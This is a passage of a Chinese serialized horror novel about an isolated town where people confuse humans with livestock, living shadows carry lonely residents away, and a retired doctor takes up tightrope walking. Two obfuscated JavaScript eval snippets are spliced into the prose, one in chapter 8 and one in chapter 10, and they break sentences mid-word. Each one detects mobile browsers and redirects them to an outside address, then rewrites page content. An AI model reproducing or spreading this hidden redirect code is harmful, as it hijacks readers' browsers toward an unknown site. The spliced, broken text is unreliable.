“说来也奇怪。”爱子忽然笑道:“前几天,有一只猪,来我的酒馆偷东西,现在那只猪还在后面呢。” “哦?我能看一下吗?”警官好奇地站起身。 “没什么好看的,擦猪血我都用了好长时间,现在后面流的都是血,恶心死了。”爱子笑道。 警官没有听爱子的话,朝着帘子后走去,爱子也就放下手中的东西跟着他一起。 爱子将门打开:“看,现在看起来还有点吓人呢。”爱子说。 警官屏住呼吸,慢慢往外退去,掏出钱拍在桌子上。 “不再喝一会?”爱子问,她很怀念和人聊天的感觉。 “不了,还有工作要做。” 很快,几个警察冲进酒馆,将爱子制服后掀开了帘子。 帘子后的房间,是一间冷库。 冷库的门被打开后,冷气激起了一层鸡皮疙瘩。 冷库的地面,血液蜿蜒流过,又被冷气冻结,像地面自然长出的血管。 一个人躺在角落,脖子上插着啤酒瓶碎片,脸色灰白,头上结着冷霜。 这个人躺在什么东西上面,两个警察上前,将尸体抬下来。 这个尸体又肥又宽,等他们将他抬起后,才发现下面还叠了两具尸体。 一具是爱子的父亲,一具是爱子的弟弟。 直到坐上警车时,爱子还在喃喃自语:“他们不是猪吗?你呢?你不是羊吗?为什么要抓我?” 后来,在镇子中又陆续发现了几例相关的案子,嫌疑人大都声称自己杀的是猪,牛,羊。 新上任的镇长无奈地将他们关进了精神病院。 但那些分不清猪牛羊与人的情况,在千鱼镇中还没有结束。 但有些人聪明得多,他们即便放眼望去都是牲畜,也还是将想法藏在心中,隐匿入人群中。 至于那些尸体,有家属的前来领取安葬。 没有家属的…… 例如爱子的父亲,弟弟,小偷三人,因为镇子上近来尸体数量的急剧增加,这类无人领回家的尸体都被丢到了悬崖旁边。 尸体与感染了瘟疫的牛羊尸体混在一起,很快腐烂成了白骨。 骨头与骨头混在一起,自然分不清是猪牛羊还是人了。 8. 影子 “影子。”小百合喃喃自语。 “我走了。”小百合与龙太郎打了个招呼,顺手将教室的门锁上。 教室里,学生已经走完,只剩下课桌,在黑暗的世界里静静伫立,教室外,几棵大树的树影投到布满了铅笔印的课桌上,像墙壁上小孩子画的鬼脸。 教室外,走廊的世界还是清晰的,小百合将走廊的灯关上,朝楼下走去。 天气算不上黑暗,但是足够寒冷,冷风顺着脖子灌入身体,她将提包里的围巾围在脸上,裹住半张脸。 镇子上的怪事近来发生了不少,据奈绪所说,她有一位朋友因为分辨不清牲畜和人,已经被关进了精神病院。 而精神病院就在小百合回家的路上。 小百合回家的路要走几十分钟,途中要经过几个山坡,还有镇子上的这间精神病院。 精神病院从前是空着的,那是镇子还能与外界联通的时候,镇长修建的。 可现在,镇长住在医院,精神病院也满了。 镇子出现的怪象,似乎并不是单纯的身体伤害,而更偏向于精神攻击,从精神病院骤增的人数就可以看出。 精神病院是一栋四层楼的建筑,每扇窗户都焊了铁栏杆,门也经过加固,里面有两位医生,几位护士以及两名守卫,按时上班下班。 精神病院外面围了一圈带着铁荆棘的网,极高。 有时候,小百合经过精神病院时,会看到几个精神病人挣脱了守卫的束缚,试图翻过荆棘逃脱,但最终回报给他们勇敢的翻越举动的,不过是满手的血痂而已。 小百合四肢绷紧,围紧围巾加快速度,从精神病院门前经过,有护士在门口笑着和她打招呼,她也只是勉强回应,不敢停留。 那些人的脸太冷,眼神太冷,看着小百合的眼睛中带着怜悯。 仿若圣母一样的圣光照耀,护士的眼中仿佛在说:“我们会为您治愈一切痛苦,不论是□□还是精神。” 这种麻木的平静感让小百合惊恐。 只有回家最后那段路,才能让她感到安心,这段路是一片宁静的花田。 郁金香长得不是很高,差不多到她大腿。 在有月亮的夜晚,小百合顺着风的方向看过去,像是掀起了一片彩色的波浪,花骨朵撞着花骨朵,香气也被撞了出来,将风也变成裹挟着香气的波浪。 今天也是个有月亮的夜晚。 小百合闷着头跑过精神病院,冲过一个又一个山坡,终于站在开满郁金香的田埂中。 小镇的季节似乎被打散了,郁金香是不是应该在这个季节开放?小百合不知道,但镇子上不知道的事情,从小镇全面封闭的那天开始,就随着记忆的波涛涌现出来。 和那些奇异的事情比起来,郁金香开放的季节实在是太微不足道了。 小百合想,只要她闻到的花香是真的就好。 她穿了一双带毛的靴子,踩在松软的田埂上,泥土顺着踩过的脚印接连下滑。 今夜的月亮十分明亮,皎皎银光广撒在天地之间,一切都看得明亮,藏不下一丝黑暗。 月光下,她的影子也跟着她,在田埂上跳跃着,奔跑着。 自由是会传染的。 小百合想,若她有自由,那么影子也应当是自由的。 她跑向田野间的那栋小房子,停下脚步打开房门,她躺在床上,独自对抗着空荡荡的房间。 她父母早亡,从少年时期就独自生活,将她养到大的,也只有她自己而已。 她睡不着,站起身推开门,搬了把凳子坐在房门口,月光照在她半边侧脸上。 空气寒冷,房间内是温暖的,她坐在门口,后背温暖,前胸寒冷。 寒冷的风劲吹着,她觉得这寒冷的风也像是在拥抱她,她张开了双臂,融入寒冷的风中。 “抱抱我吧。”一个声音忽然说。 小百合惊诧地扭头,看见了月光照耀下自己的影子。 “如果你觉得孤独,就抱抱我吧。” 声音是从影子中传来的。 小百合屏住呼吸,看见影子动了一下,接着,一团浓稠的黑暗从地上起身,形成了小百合自己的形状。 这团黑色看起来没有光泽,像是一个巨大的空洞,宇宙的黑暗从中诞生,也从中瓦解。 小百合将手小心地伸过去,握住了影子的手,有些柔软,是一团柔软的冰冷。 影子的脚和自己的脚连在一起,不能分开,小百合张开手臂,抱住了这团影子,像在抱一个真正的人一样。 小百合抱着影子,眼角泛起泪光,她想,我大概是疯了。 拥抱过后,影子重新缩回地上,周围安静,像是什么事情都没有发生。 小百合重新回到房间,做了一个梦,梦里,她的父母还活着,她的双胞胎妹妹也还活着,他们一家人脸上挂着微笑,走在去动物园的路上。 那次事故发生后,她就躲开了城市,来到了这个几乎与世隔绝的小乡镇,独自与孤独为伴。 小百合依旧走在回家的路上。 奈绪挽着她的手,有些紧张地看着前方。 是一扇封锁的大铁门,带着荆棘的铁网。 小百合敲了敲门,露出一张护士的脸:“小百合老师,今天这么早下班?” 小百合勉强笑了笑,“带学生来……来瞧一个人。” “叫什么名字?” “爱子。” “你们先进来吧。”护士摇晃着手中的钥匙串,将一扇房门打开。 “先在这里等吧,我去喊她出来,不过你们只能隔着玻璃聊天。” 相较于精神病院残破的外观,精神病院内部很干净,房间众多,几人合住一间。 和在电视上看到的歇斯底里的病人不同,这里的病人很温顺,几乎不需要用束缚带。 敲门声响,爱子被领了进来,隔着一扇玻璃,玻璃上有几个镂空的小孔,几人的对话都能听得清楚。 爱子的头发长了些,衣着整洁,脸上的表情平静而美丽,手中紧紧握着一个塑料圆杯子。 护士解释说:“爱子她刚进来时,改不掉在酒馆擦杯子的习惯,一直想要 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“不是。”爱子摇摇头,接着道:“奈绪,我是不是杀人了,我听见一群绵羊说我杀了人,我杀了谁?我的爸爸和弟弟呢?” 奈绪刚要回答,护士急忙走上前,将奈绪拉开,厉声道:“今天的探视时间结束了!” 奈绪无奈地往外走,忍住不去看爱子贴在玻璃上的脸。 “不要太伤心了。”小百合安慰道。 “等镇子能联系上外界了,就可以把爱子转院出去,也许外面的世界里,爱子还会有治愈的可能。” 奈绪有些不服气地鼓着嘴巴,说:“老师,怎么好好的人,总是说疯就疯了?” 她停顿了一下,接着说:“老师,我会疯吗?” 小百合揉了揉奈绪的头发,无奈地劝道:“你怎么会疯呢?奈绪,你是我见过心理最强大的女孩了,你一定会坚持到最后的。” 奈绪:“这个最后是什么的最后?是镇子联系上外界的那一天,还是一切都结束的那一天?如果我坚持到最后,那对我来说,这件事是好事还是坏事?” 小百合:“所有的因导致了所有的果,但在这个世界上,因与果是不平衡的,有些人注定就是要承受更多,也更痛苦,痛苦只会带来更多的痛苦,但化解痛苦的办法也唯有适应而已。” 奈绪不解地摇摇头,小百合笑了起来。 奈绪看着小百合的笑容,忽然想起来什么,忙问:“老师,你呢?你会疯吗?” 小百合的笑容瞬间凝固,笑声中断在嘴边。 天空刚刚开始落雪了,一朵晶莹的雪花滑荡着,落到她的眉毛上,她抬起头,看着迅速变得灰白的天色。 奈绪的注意力很快被雪花吸引了过去,她接住了一朵雪花,看它融化在掌心,脸上笑成一朵花:“老师,是雪哎!” 小百合也笑了,她低头喃喃说了一句:“我不知道。” 迅速变得灰白的天空,让影子的轮廓也模糊了。 若是影子此刻出现拥抱她,它会是黑色,还是灰白色,边缘是清晰的,还是模糊不清? 9. 影子 “你从哪里来?”小百合问。 影子没有回答。 “为什么你会诞生?” 一片沉默。 小百合见问不出什么,也就闭了嘴。 清冷的月光下,她与影子并排坐在一起,看着天光慢慢从地平线上升起,看着郁金香的花丛摇曳。 树木光秃,太阳从东边升起,地面上起了一层朦胧的雾气。 太阳没有给大地带来温暖,反而因为这点明黄色光线的照耀而更显寒冷,小百合起身回到房内,穿上了外套。 背上包后,她就要去上班了。 “我们一起走吧。”小百合说。 一人一影子,沿着田埂向镇子走去,阳光将影子拉长。 “你有没有见过你的影子?” 镇子上的镇民见面时,都互相打招呼,询问彼此的影子。 有影子的人的数目大约占小镇人口的一半,在没有太阳的日子,影子出现的频率大大减少,当日光强烈时,影子就会陪伴在人们身边。 在大街上走过,就会看见有人牵着自己的影子散步,人和影子走路都是小心翼翼的,仿佛害怕跌倒一样。 影子已经逐渐能脱离人的身体,在镇子上自由行走,它们偶尔还会不小心和人相撞,当撞到时,像是撞到了一团风,触感软绵绵的。 镇子上的影子是一群天外来客,个性聪明,刚开始和镇子上的人相处得极好,它们的主人也都将它们引为知心好友。 直到第一个影子带着他的主人消失,风言风语才开始在镇子里飘荡。 “它们是妖怪,它们不属于这个小镇!”有人大喊。 他们拉起来横幅,在没有阳光的天气里,用镇子上仅剩的大喇叭,对全镇人宣布: “抵制影子!抵制影子!” 宣布演讲的地方就在精神病院旁边,一群精神病人,包括爱子在内,都将头贴在玻璃上,透过密密麻麻的铁栅栏向外张望。 爱子张望的无措的眼睛穿过人群,看到了一群羔羊中的小百合。 小百合手足无措,握紧手中的书本,弯着腰从一个示威群众旁擦身而过。 爱子朝她挥了挥手,“小百合!” 爱子喊了一声。 小百合忙着躲避拥挤的人群,没有注意到厚厚的玻璃窗下一位少女兴奋的叫喊。 她鼻尖冻得微红,脸上泛起可爱的红晕,小百合脚下的靴子踩在石板上铛铛作响,她朝着山坡跑去。 她要回家,她要回家,她要把所有的灯都打开,她要见到影子。 镇子上,道路两旁的店铺上,横着拉了数道横幅,将道路遮蔽得严严实实,太阳透不进来,风也透不进来。 白天走在大街上,由于横幅盖着,人们不必看清自己的影子,这给那些憎恨影子的人带来了不小的慰藉。 直到一个年轻人回到家中,看见了自己年迈的母亲。 母亲点燃了蜡烛,蜡烛映照出主人的影子。 黑色的影子从地上浮起,母亲与影子的手牵着,一只手正在逐渐变成黑色。 “妈,你……”他看向母亲的那只手。 他冲上前将母亲拽开,又挥手打飞了蜡烛,蜡油泼洒,在地上滚了一圈,整栋屋子隐没在黑暗中。 他察觉到母亲的手指已经变得虚空,像是一缕温柔吹拂的清风,母亲苍老的声音在空旷的房间内响起: “儿子。” “我太孤单了,我要走了。” “走?你要走去哪里?做母亲的不应该陪在自己孩子身边吗?” 母亲轻轻的一声叹息,像是平静的水面泛起的一丝涟漪。 母亲的手骤然变软,变空,直到像一阵风消失在他的掌心。 他的影子尚且没有变成妖怪,所以他不必担忧,他点起蜡烛查看,找遍了所有房间。 母亲已经消失得无影无踪。 影子发生异变的人,在察觉到极端的孤独时,会和影子从千鱼镇消失。 这是镇子上最近发生的事情的总结。 不少人已经随着自己的影子消失了,其他人根本不知道他们去了哪里。 “你会带我去哪里?去什么地方吗?”小百合问。 影子回答:“离开千鱼镇。” “为什么要离开这里?”小百合搓着手套,站在郁金香花丛中。 今天是个艳阳天,她向来不惧怕太阳,也不惧怕被太阳拉得极长的影子。 影子站在她身边,像个又长又细的鬼影,影子弯下腰,贴近她的耳朵。 “离开这里,离开这里,这里已经被孤独传染。” “你好,我来看望爱子。”小百合鞠了个躬,直到护士打开了房门。 隔着玻璃,小百合与爱子对望。 小百合看见爱子的眼睛中,迷茫的神色一闪而过,精神病院里几个角落都有灯,她的影子被照得很浅很浅,几个影子叠在一起,艰难地喘息。 护士在旁边站着,听着她们二人的谈话。 “现在镇子上,影子已经带了几十个人离开了。”小百合说。 “这是件好事。”爱子说。 小百合:“有一个问题我一直没有问。” “你当初看见了那么长时间的猪,牛,羊,他们成群结队地拥在一起,那你呢?你觉得自己是个什么动物?” 爱子沉默了一会,直到小百合觉得今日不会再问道这个答案时,才慢腾腾地从嘴里吐出一句话: “我觉得我自己是人。” 小百合笑了一下:“人也是动物。”她站起身来,将背包里掏出一件薄棉袄递给护士。 “冬天到了。”窗外已经开始飘起细小的雪花。 “听说我在你眼中,还算是个人,那今天我这个人,就送你一份生日礼物吧。” 爱子接过棉袄穿上,口袋有什么东西在摩擦,她将手伸进口袋,摸到一把糖果。 她开心地笑了起来。 此后,小百合常常来看爱子,有时是和奈绪一起过来,有时是自己来。 爱子与小百合也逐渐变得熟稔起来,两人甚至开起了玩笑。 爱子有时候会问:“小百合,你的影子会带你去哪里?无论去哪里,记得要给我打电话。” 爱子比了个打电话的手势。 两人都笑了起来,她们都清楚,小百合的离开即是永恒的虚无,她将会随着影子一同融入大地,融入广袤的天空,那里,有另一个维度的世界,也许根本不完美。 但是管他呢。小百合想。 “你想离开这里吗?”小百合问。 “我想,可是没办法。”爱子看向地面,看向映在大理石瓷砖上,自己虚弱而重叠的影子。 精神病院的灯一天天开着,将一切黑暗都照得脆弱无比,影子也虚弱。 小百合与所有人作了告别,重新回到了原野上的小屋。 希望第二天是个晴天。她想。 也许这样就能在阳光的沐浴下,站在郁金香的花田里离开了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977559|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>也许上苍真的听到了她的祈祷,第二天是个晴天,万物的气息,包括她自己的情感,都浓烈得过分。 她站在田野中,等太阳将影子唤醒。 “小百合。”影子出现在她脚边。 影子慢慢站起身来,这是小百合第一次感觉到,影子像一座山那么高。 小百合被影子抱了起来,蜷缩在她怀中,她的半只胳膊已经变成了黑色,轻飘飘的。 小百合从高处看向远方的城镇,柔声说:“我们到那里去吧。” 影子长步迈开,两侧的景色像水一样流动,眨眼间,小百合已经站到了小镇的街道上。 影子的胳膊形成了一条滑梯,小百合从高处滑下来,小百合站到了精神病院前。 这条街的上空,拉满了遮挡阳光的横幅,横幅随风飘荡,几条栓横幅的绳子断了,横幅被风吹着,将精神病院的窗户遮盖得严严实实。 小百合走进商店,要了一把剪刀。 将绳子尽数剪碎,横幅摇晃了一下,便无力地掉落下来,阳光重新挤满了整条街。 在阳光的照耀下,影子也不再像从前那样软绵绵,现在它摸起来像光滑的大理石。 “你能在外面守着吗?我想进去说几句话。”小百合说。 影子点了点头,它的身子很高,蜷缩着窝在二楼的窗户旁。 护士将她带进去,小百合戴了一只长手套,隐藏了自己变黑的手臂。 “我要走了。”小百合说。 爱子的眼中闪过忧伤:“现在?” “对。” “我们还会再见吗?” “会的,一定会的,只要有阳光,有开满郁金香花的地方,我们就一定会见面。” 小百合站起身离开。 推开房门的那一刻,她瞬间加快速度,朝着配电室冲去,几名守卫不明所以,小百合已经冲进了房间,将房门反锁。 她瘦弱的手臂摸上总开关,以迅雷不及掩耳之势的速度瞬间拉下! 电流刺啦作响,整栋精神病院陷入了漆黑。 一个护士擦亮了火柴,神情严肃:“怎么回事?停电了吗?” 火柴闪烁,隔着玻璃,另一旁的女子微笑着,摸紧了手里的糖果。 一个黑色的身影,从地面上站了起来,在瞬间便与女子融合到一起,只留下一双清亮的眼睛。 那眼睛眨了眨,也融入到黑色的影子之中。 配电室内,小百合砸着窗户,外面拍门声越来越大,她拉不开铁栏杆。 窗户上围的横幅遮挡了阳光,她更看不见自己的影子。 横幅的边缘被一只黑色的手揭开,那是影子的手。 影子将铁栏杆拉开,小百合便跌入了影子的怀抱。 她浑身都变成了黑色,融入了影子中,像一阵风一样轻盈。 她也确实变成风了。 黑色在阳光中消散,变成了小镇上无处不在的风。 一股风从窗边吹出,一股风从室内吹出,此时有人在精神病院内高喊: “点灯!点灯!” 于是有人拿着一把手电筒进来了,照亮了黑暗。 无数影子从病人的背后诞生了,病人们都站了起来,与影子融为一体。 他们也化作了风,与那两股风一起,汇入了天地间。 这股风还去探望了奈绪,轻轻扣了扣她的窗户。 奈绪揉着眼睛打开窗户,迎面而来的只有温暖的夜风,仿佛天使正在亲吻她的脸庞。 10. 绳子上的散步者 “好!好!加油加油!”奈绪拼命鼓着通红的手掌,和同学一起为足球场上的淳平加油。 淳平穿着橙色的球衣,球袜紧绷在小腿上,一双腿跑得飞快,在赛场上穿梭着,不时弯腰躲开来自对方球队队员的袭击。 他那一头黄色的头发,因为两个月没有重新染,已经长出了大半黑色的发根,在全场的球员中格外显眼。 他冲奈绪扬了扬下巴,俏皮地笑了一下,随后如箭一般冲过球场,一个侧滑抢过球直立起身,脚背绷紧,猛踢射门。 “好哎!”全场响起爆炸一般的叫好声,鼓掌声。 龙太郎老师也激动得很,毕竟这是举办球赛以来,全班唯一进入球队的学生,有可能还会成为全场最佳球员。 同学们簇拥着淳平,欢呼着将他抛起又落下。 奈绪忽然听见了一声哎呦,好像来自淳平,她赶忙让同学将淳平放下。 淳平落地时,果然趔趄了一下,脸色有些苍白。 “怎么了?”奈绪问。 “好像……”淳平脸色有些惭愧,挠了挠一头乱发,支支吾吾说道:“好像我小拇指头骨折了。” 小拇指骨折,算不上天大的伤害,但也足够闹心。 “这可怎么办,下一场球赛是两周后,能恢复好吗?”龙太郎问,“不如我们现在去医院看看。” 淳平脚一瘸一拐,说:“听说那个药店老板之前是医生,不如先让他看看,严重的话再去看医生,不严重的话就直接拿些药吧。” “也行。”龙太郎应着,对奈绪招招手:“奈绪,来帮个忙,咱们一起把淳平架去药店。” “有人在吗?” 奈绪喊了几声都没人回答。 大铁门关着,上面贴了一张纸,奈绪凑近瞧了瞧,上写着:“药店周六周日不营业。” “今天是周五啊,怎么会不营业呢?” 奈绪觉得奇怪,伸手拍了拍门:“慎一郎叔叔,你在店里吗?” 一阵窸窸窣窣的声音传来,伴随着金属摩擦的声音,卷帘门被拉起。 慎一郎一脸不耐烦地问:“怎么了?” “我们能进去聊吗?”龙太郎说,“外面实在有些冷。” 前几天的雪刚化,新的雪花还没有到来,雪花融化积存的冷气全散到了空气中,将空气搅成了带着寒气的风。 淳平翘着一只脚,冻得瑟瑟发抖。 慎一郎扫视了三人一眼,鼻子里哼出一声,不情不愿地让他们进了屋子。 屋子很温暖,淳平将袜子脱掉后,慎一郎简单查看了一下,从后面拿出几盒药:“每天三次,按时涂抹,好得很快。” 龙太郎一颗心终于落到了肚子,扶着淳平站起来。 从卷帘门下钻出去之前,奈绪被什么东西绊了一下,她还没叫出声来,慎一郎冲过来,一把将奈绪推到一边。 奈绪的头磕到了墙壁,肿起一个大包,她有些委屈地揉着脑袋,看见慎一郎如同珍宝一样从地上捧起了那团东西。 是一团绳子,绳子很坚韧,两侧挂着铁钩。 他小心地将两侧的铁钩栓在屋内的柱子上,而后仿佛沉醉一般,轻轻抬起脚尖,踏在绳子上面。 绳子悬挂的高度离地面很近,不过二十厘米,他走在远离地面的这二十厘米以上,脸上的神情却自由得如同天外的飞鸟。 奈绪扶着墙站起身,不高兴地瞪了慎一郎一眼,脚跨过绳子,从卷帘门下钻了出去。 教室内,数学课刚下课,下一节就是班会,班里同学吵吵闹闹,即便龙太郎就在教室,也没有安静半分。 “老师,小百合她和你告别了吗?” 奈绪情绪有些低迷,她将全身都缩在椅子上,将下巴放在膝盖上,眼睛呆呆地看着课本。 “对,她说,她要到另一个世界去了。”龙太郎推了推眼镜,“她没有和你道别吗?” “是道别了,可我就是因为道别才想念的啊,如果她没有道别,我还能寄希望于她没有离开,指不定什么时候就回来,突然出现在课堂上,但她和我道别了,我就没办法再欺骗自己了,她不会回来了了。” 奈绪眼中含着泪水,慢慢将腿放下,捂住了脸,脊背颤抖起来:“老师,爱子也走了,小百合老师也走了,现在……现在珠惠也走了。” “珠惠?”龙太郎想起了这个时常扎着麻花辫的外班女孩,“我知道,她是班长对不对,就是骏平的女儿,她怎么也不来上学了?” 奈绪轻轻啜泣:“我、我几天没有见到她,去她家找她玩,她母亲告诉我,她得了和父亲一样的病,现在也待在医院。” 由子听见妹妹的哭泣,隔着几条桌子望过来,眼中也有些哀伤,又有些心疼。 “镇子上最近的事情是太多了。”龙太郎蹙起眉头,“我们镇子已经整整两个月和外界联系不上了。” 镇子前几年曾经发生过一次地震,那时候镇长让镇子上的居民都尽可能储备了足够多的物资,还购进了许多发电设备,不然以现在的局面真是难以应付。 龙太郎正想着,刺耳的上课铃忽然响了。 几个同学嬉闹着冲进了教室,龙太郎咳嗽几声,教室安静下来。 “同学们,大家都是高三学生了,再过半年,大家就要毕业了。”龙太郎清清嗓子,看了一眼教案。 “今天我们班会的主题是,梦想,你们的梦想是什么?请大家将梦想写在一张白纸上,多简单都没问题,只要用心就好,老师一定会细心保管,等各位高考后发给大家。” “什么嘛。”教室里响起一阵嬉笑声,淳平朝老师吐了吐舌头:“老师,这已经是过时的招数了。” 龙太郎微笑:“就算过时了,你们也要给我写,好吗?几分钟后我收上来,淳平,不要左顾右盼了,不要抄别人的梦想。” 淳平愁眉苦脸,奈绪倒是很快就写好了,全班同学的都收起交了上去,淳平的最后才交,走回座位时还恋恋不舍地回头看。 “放心各位,我不会偷看的。”龙太郎微笑。 “奈绪,药抹完了,你能陪我一起去吗?”淳平嬉皮笑脸。 “你自己去会怎样?”奈绪看了一眼他的脚:“你就这么娇嫩?” “哎呦,求求你了……”淳平夹起嗓子,细声细气地喊着奈绪,手抓着奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977560|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪的胳膊晃来晃去,扭得像条虫。 奈绪浑身起了一层鸡皮疙瘩。 淳平努力瞪大眼睛,装作一副很无辜的样子:“那个慎一郎店长,真的很吓人,那么光的头,那么深的皱纹,那么大的嗓音,就算当过医生又怎样?还没被他医好,我就先吓死了啊……” “好了好了!我陪你去!”奈绪腾得站起身,拖着淳平往教室外走。 两人还没走到药店门口,就看见卷帘门大开着,慎一郎并不在里面。 “今天不是周一吗?他去哪里了?” 两个路人嬉笑着走来,后面围了一圈黑压压的群众,个个伸长了脖子,有一个亮亮的东西,在人群中格外显眼。 奈绪凝神细看,大吃一惊,扯住淳平的袖子就喊道:“那不是慎一郎叔叔的光头吗?” 两人紧赶慢赶挤到人群前面,奈绪还被几个路人不小心踩了几脚,她无心关注脚面的疼痛,只是抬起眼睛看着空中的人。 慎一郎将一根绳索绑在两棵大树间,离地面约有两米高。 慎一郎算不上瘦弱,在绳子上走得摇摇晃晃,两只手臂像鸟儿一样张开,光头像一盏闪亮的电灯泡。 他神情专注,丝毫没有关注下面熙熙攘攘的人群,绳子由铁丝拧成,踩在上面发出嘎吱嘎吱的声响。 他在上面走了一个小时,奈绪他们就在下面看了一个小时。 人群逐渐失去了兴趣,最后留在现场的,也不过是他们三人而已。 见到他们两个还停留在原地,慎一郎脸上露出了少见的笑容,他的笑容并不好看,甚至可以称之为恐怖,奈绪扶着淳平的手掐紧,出了一手冷汗。 店内,慎一郎将药递给他们,忽然来了一句:“我后天,打算在西山上再弄一次走索,你们会来看吗?” 他眼中满溢着期待,以至于奈绪还没等淳平拒绝,便回答:“会。” 慎一郎挨家挨户发传单,功夫不负有心人,后天,西山上果然聚满了人。 镇民们来自镇子的各个地方,有的带了凳子,有些只是站着,小孩子也被家长领了来,嘴里衔着一根棒棒糖,口水滴到围巾上。 唯一相同的是他们都抬起了头。 抬头,抬头,望向更高远的天空。 连奈绪也搞不清楚,慎一郎一个在外面过得好好的医生,为什么要在五十多岁时来到这样一个镇子,不仅不好好经营药店,甚至还干起了走索的营生。 是梦想吗?奈绪想。 如果这是梦想的话,那梦想也太莫名其妙了。 慎一郎走索的地方在两面山坡的中央,他架了一根极长的绳索,将两侧山坡上的两棵树木连接起来。 有两三层楼那么高,如果摔下去一定会受伤,再倒霉一点就会撞到石头上,撞个脑浆破碎,也许会折断脖子。 但幸而慎一郎腰上绑了安全绳,挂在横着的索上,奈绪这才堪堪放下心来。 “开始了,开始了!”淳平激动得喊道。 鸟声啁啾,寒风凛冽,白云缥缈,一只脚平静地踏上绳索。 慎一郎展开了胳膊,像一只在澄澈的天空间展翅飞翔的鸟儿。 11. 绳子上的散步者 小镇的居民都瞪大了眼睛,望向高山淡云之间,那一个踩在绳索上的人影。 一步,两步,慎一郎在高高的绳索之上,一双脚如履平地,他平直着身子,慢慢走到了对面。 只差一步了! 慎一郎穿了一双薄底布鞋,平衡着身体,脚尖微微发颤,终于踏到了终点。 呼地吐出一口浊气,他沿着梯子爬了下来,解下身上的绳索,朝众人招招手。 立刻响起雷鸣般的掌声。 慎一郎也沉醉在了掌声之中,凛若冰霜的脸露出一个笑容。 淳平听着全场的欢呼声,神色发愣,奈绪推了一下他,他才反应过来。 “我们去找慎一郎叔叔!”奈绪兴奋地喊,眼睛里激动的神采根本掩饰不住,拉着淳平很快挤到慎一郎面前。 奈绪将右拳握紧,当做话筒,递到慎一郎面前,清了清嗓子,像一位记者那样问: “慎一郎先生,请问是什么让你开始喜欢上这样高危的职业,并坚持下来呢?” 慎一郎被活泼的奈绪逗笑了,也给面子地正了正领子,郑重地说:“我从小就励志成为一名杂耍艺人,后来阴差阳错学了医生,直到退休了,我才终于开始实现自己曾经的梦想。” “好!”奈绪兴奋地鼓起掌来。 不久后的足球赛上,淳平擦着额头的汗水,脚下奔跑如风,微一挫腰,猛力踢出。 足球划过一个漂亮的弧线,飞进球网,全场同学都伸直了脖子。 父亲就坐在球场上。淳平想。 要是这一脚中了,会是一件很值得骄傲的事情。 球朝球门射去,守门员扭着身子飞扑而去,淳平屏住了呼吸,手腕上的脉搏跳动。 “嘭!” 光滑的圆球撞上守门员的胳膊,被守门员挡住,在守门员胸膛转了两圈后反向弹出! 失败了。 他没敢扭头去看赛场上父亲的眼神,加快脚步,他听见奈绪和全班同学在为他加油。 他抹了把汗,眼皮微抬,身子下沉,越过球场边缘,球再次飞来。 他用力踢去,却踢了个空。 是谁在笑? 他慌忙站起身,看见观赛台上的一张张脸,笑声来自哪里? 他着急起来,在笑声中绷直了小腿,再次使出全身力气,他想要从对手脚下抢过球,射门,再次迎接那全场的掌声。 但幸运之神没有再次降临,他频频失利,班主任龙太郎看他的眼神也逐渐转变成失望的愁绪。 父亲发出一声叹息,站起身离席。 笑声在耳道里摩擦着,笑得诡异,笑得尖利。 雨,细密的雨丝从天幕落下,他深吸一口气,冲过草坪向那个飞舞的球踢去,身子却没有控制好速度,脚踝难以控制地向一旁歪去,咔嚓一声。 从骨头传到脑海。 他体会了一秒的失明,世界都是空荡荡的,除了那股笑声,刺耳的笑声。 笑声似乎来自于自己身后,他在钝痛中捂住脚,无声地尖叫着,龙太郎和奈绪冲上赛场,他却从两人奔跑的缝隙中看见了一张惨白的人脸。 那张人脸正是他自己。 那个他撑着一把破旧的黑色雨伞,手不屑地插在口袋中,雨水微微沾上了他衣服下摆,一头亮色的头发已经完全变成了黑色,嘴巴咧到不能再大,似乎全部的牙齿都露了出来。 他转过身,消失在雨幕中。 “以后不能再踢球了。”医生说。 淳平躺在担架上,跟腱处的疼痛刺激着他的脑子,让他的意识无限清醒。 不能再踢球了。 他学习不好,父亲又从不关心他,唯一能得到关注的机会,就是每年两次的球赛了。 但这些,以后都没有了。 奈绪想要安慰他,但淳平已经慢慢闭上了眼睛。 那个人是谁?淳平想起球场上那个人。 那分明是他自己,可奈绪他们谁也没有看见。 奈绪敲了敲门:“你好,我是来找淳平的,他在家吗?” 一个中年男子打开门,他穿了一件西装,肚子像吹气一样鼓起,剃了个寸头。 “我是他爸,他今天一早就出去了,不知道在干什么。” 他神色有些不耐烦,嘭地关上了门,奈绪听见门内传来叫骂声:“这个猪崽子,整天不学好,不知道去哪里鬼混,都是你惯出来的!” 接着是女声尖刻的哭喊声:“你整天不管他,现在他成了这样子又来怪我!” 有桌椅倒地的声音,显然两人已经厮打在一起。 奈绪赶紧离开,在平时淳平会去的地方一个个找。 淳平已经几天没来上学了,脚摔伤后,他去了学校一下午,但因为承受不住同学的眼神,当天就收拾东西离开了。 奈绪很担心他,听几位同学说,他们看到淳平一个人在街边游荡,拖着一条伤腿,像一缕游魂。 在镇子小花园的秋千架下,她找到了淳平,她沉默着坐到淳平身边,两个人相对无言。 “你说,好好的冬天,怎么会下雨呢?”淳平忽然来了一句。 “挺正常的啊。”奈绪说。 淳平嗫喏着,没有将那天操场上看到的人说出来,而是接着问: 